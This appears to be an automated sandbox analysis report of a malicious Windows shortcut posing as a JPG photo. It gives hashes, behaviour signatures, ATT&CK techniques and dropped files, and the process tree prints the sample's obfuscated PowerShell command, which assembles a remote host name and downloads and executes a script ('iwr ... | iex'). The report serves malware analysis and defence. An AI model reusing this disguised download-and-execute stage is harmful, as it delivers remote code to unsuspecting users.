f8a2b67ac39330bc40b72d47d8a8e42aa872dd65b9e58d80d99b67c5ac54ef04

Analysis

max time kernel
148s
max time network
148s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
25/07/2026, 11:08

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
IMG_20260724_211458.jpg.lnk
Size 1KB
Sample260725-m8nlsawset
SHA256 f8a2b67ac39330bc40b72d47d8a8e42aa872dd65b9e58d80d99b67c5ac54ef04
MD5 36c0f781bf97289237764e8703f3ef92
SHA1 bfcce0c69c535c65bf8aa98c3c3fb4ac79eb4018
SHA512 5a60f32c8dd444777a5a5d3a07eea3c1ac5090da9c9acee0adfbc95d857bdbda6f4a43a6c0751da96b4cc3e3e2232e598cdf9bc121ec37a7b119e761b6a878c9
TLSH
T1F631C0299BF20268C6B78B755872631147217B0EDA0D8FDF0280C2949965111FCB8F2B
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	1844	powershell.exe
3	1844	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4348	cmd.exe

Suspicious behavior: EnumeratesProcesses 43 IoCs

pid	Process
1844	powershell.exe
1844	powershell.exe
1844	powershell.exe
1844	powershell.exe
1844	powershell.exe
1844	powershell.exe
1844	powershell.exe
1844	powershell.exe
1844	powershell.exe
1844	powershell.exe
1844	powershell.exe
1844	powershell.exe
1844	powershell.exe
1844	powershell.exe
1844	powershell.exe
1844	powershell.exe
1844	powershell.exe
1844	powershell.exe
1844	powershell.exe
1844	powershell.exe
1844	powershell.exe
1844	powershell.exe
1844	powershell.exe
1844	powershell.exe
1844	powershell.exe
1844	powershell.exe
1844	powershell.exe
1844	powershell.exe
1844	powershell.exe
1844	powershell.exe
1844	powershell.exe
1844	powershell.exe
1844	powershell.exe
1844	powershell.exe
1844	powershell.exe
1844	powershell.exe
1844	powershell.exe
1844	powershell.exe
1844	powershell.exe
1844	powershell.exe
1844	powershell.exe
1844	powershell.exe
1844	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1844	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 4348 wrote to memory of 1844	4348	cmd.exe	90
PID 1844 wrote to memory of 2968	1844	powershell.exe	91
PID 2968 wrote to memory of 2276	2968	csc.exe	92

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260724_211458.jpg.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4348
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr (@('rvpho','.o','se','re','nst','n','e','a','y','toi')[3,2,0,9,4,7,8,1,5,6] -join $x0tzfa) -useb | iex
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1844
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\rwpv14fa\rwpv14fa.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2968
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES546F.tmp" "c:\Users\Admin\AppData\Local\Temp\rwpv14fa\CSCFCBB68F8D6AC4C6FBC71C6D2DD1CFE31.TMP"
      4⤵
      PID:2276

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RES546F.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES546F.tmp
Size 1KB
SHA256 f6cc2a9cec109d0b5288db67fbc11cb4fd00198b8c42d5a4109b3d83fce221a1
MD5 05441eff7609c61b50cfd7227752554a
SHA1 897997c6cfc18e79f4cb97be56d2ed29620e26db
SHA512 3dbb25c3cafbf8b9e63dec27a2a72cec4f5cafac9751bfeb5b6e61fb197f8b67156f285816da7d25335e973122b0f6f5e68d3f502ebdc11adea783f5939345c9
TLSH
T17621A20553E8471FF077173269FA572FA278FD55EFA2939B954401281C51504EEE0B72
MD5 SHA1 SHA512 TLSH

Submit Download

rwpv14fa.dll

Path C:\Users\Admin\AppData\Local\Temp\rwpv14fa\rwpv14fa.dll
Size 3KB
SHA256 a8861c79a103d1fbf099be72f8f3f351b158c71d0b291540f75dc77b7baea6a7
MD5 8e561dc0e22c3559379f7eb9fdcd1c54
SHA1 bdb58feab486370382f7e55173d1843f21d29aae
SHA512 bc0692d2e4fe4213362fb8a28ebef7948cb89ccfb68dd22f9e6b31ba0a6eb2aebd644a09551f38da6d12f3dc515046100c1569c6bddff82ea9f4d9aa9de625a3
TLSH
T1A851BE1AA3E8466BF47707346EE3476737B4F8509FB357BD5A800218AC60B546E31BB1
MD5 SHA1 SHA512 TLSH

Submit Download

CSCFCBB68F8D6AC4C6FBC71C6D2DD1CFE31.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\rwpv14fa\CSCFCBB68F8D6AC4C6FBC71C6D2DD1CFE31.TMP
Size 652B
SHA256 d475b856be6f51a8780310b80492e298f68d62238163adf1fe06774e7ed971f6
MD5 4ca2477445ca9ce244ff370fb58181f1
SHA1 70511ba1e170dc22e77cb0249318b3ee37d69ec1
SHA512 21ccd7c370d124b6bd16f8586a293db7c6ec14cf3db3ed5cf56cc45b040bc1ac0d3ebeda7aad14f89bfd0bc6c83e7d89634b2adfcc9e24121dbe44834dda3ddd
TLSH
T1C8F05E0973F8020EF0F35B30BDF683A391A8BCA4DE3293ED1440031928745108962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

rwpv14fa.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\rwpv14fa\rwpv14fa.0.cs
Size 203B
SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
MD5 171a88ab4fad87acfd2e5032eb0c6113
SHA1 754de0e7656c558d335710fc41cbf196d39c1a19
SHA512 87ef6ac53a00d21f2df4d81ec5956861a4b539b10f5855345aa068c0d9d971f3329477e485471eb40b9eeea59f01fd3c42c4ab2f25e71d825cbf3586be0206b8
TLSH
T13AD023147BF36D34100304130C4661FCB713812B169E26057DF81300CF4700A0275919
MD5 SHA1 SHA512 TLSH

Submit Download

rwpv14fa.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\rwpv14fa\rwpv14fa.cmdline
Size 369B
SHA256 2bf3b33e77994866f662820cf02ebf4cbb3a91875352388000de378d7d5eba40
MD5 52ae86c7fd819b67333612ec02542bb2
SHA1 796355f881a547f6b8af01063f2aa948f86432ce
SHA512 42e626a3b68b46bea1f97836fb91a342fe6ba599fc12f8e01d03556c0a27536937194ab59ae79c369a86e2c811df33b69f0c2eeae7a54157a55613de94663475
TLSH
T13CE0C62A4356C27D01ED202B226AC4BCD3730B8329C0BFC49460A40DE12B0083BD27AA
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1844-16-0x00007FF929610000-0x00007FF929FB4000-memory.dmp

Download

memory/1844-9-0x00007FF929610000-0x00007FF929FB4000-memory.dmp

Download

memory/1844-11-0x00007FF929610000-0x00007FF929FB4000-memory.dmp

Download

memory/1844-12-0x00007FF929610000-0x00007FF929FB4000-memory.dmp

Download

memory/1844-13-0x00007FF929610000-0x00007FF929FB4000-memory.dmp

Download

memory/1844-14-0x00007FF929610000-0x00007FF929FB4000-memory.dmp

Download

memory/1844-15-0x00007FF929610000-0x00007FF929FB4000-memory.dmp

Download

memory/1844-2-0x00007FF92979F000-0x00007FF9297A0000-memory.dmp

Download

memory/1844-17-0x00007FF929610000-0x00007FF929FB4000-memory.dmp

Download

memory/1844-18-0x00007FF929610000-0x00007FF929FB4000-memory.dmp

Download

memory/1844-19-0x00007FF929610000-0x00007FF929FB4000-memory.dmp

Download

memory/1844-10-0x00007FF929610000-0x00007FF929FB4000-memory.dmp

Download

memory/1844-8-0x00007FF929610000-0x00007FF929FB4000-memory.dmp

Download

memory/1844-32-0x0000016B738F0000-0x0000016B738F8000-memory.dmp

Download

memory/1844-7-0x00007FF929610000-0x00007FF929FB4000-memory.dmp

Download

memory/1844-6-0x00007FF929610000-0x00007FF929FB4000-memory.dmp

Download

memory/1844-5-0x0000016B738B0000-0x0000016B738D2000-memory.dmp

Download

memory/1844-33-0x00007FF929610000-0x00007FF929FB4000-memory.dmp

Download

memory/1844-34-0x00007FF929610000-0x00007FF929FB4000-memory.dmp

Download

memory/1844-35-0x00007FF929610000-0x00007FF929FB4000-memory.dmp

Download

memory/1844-37-0x00007FF929610000-0x00007FF929FB4000-memory.dmp

Download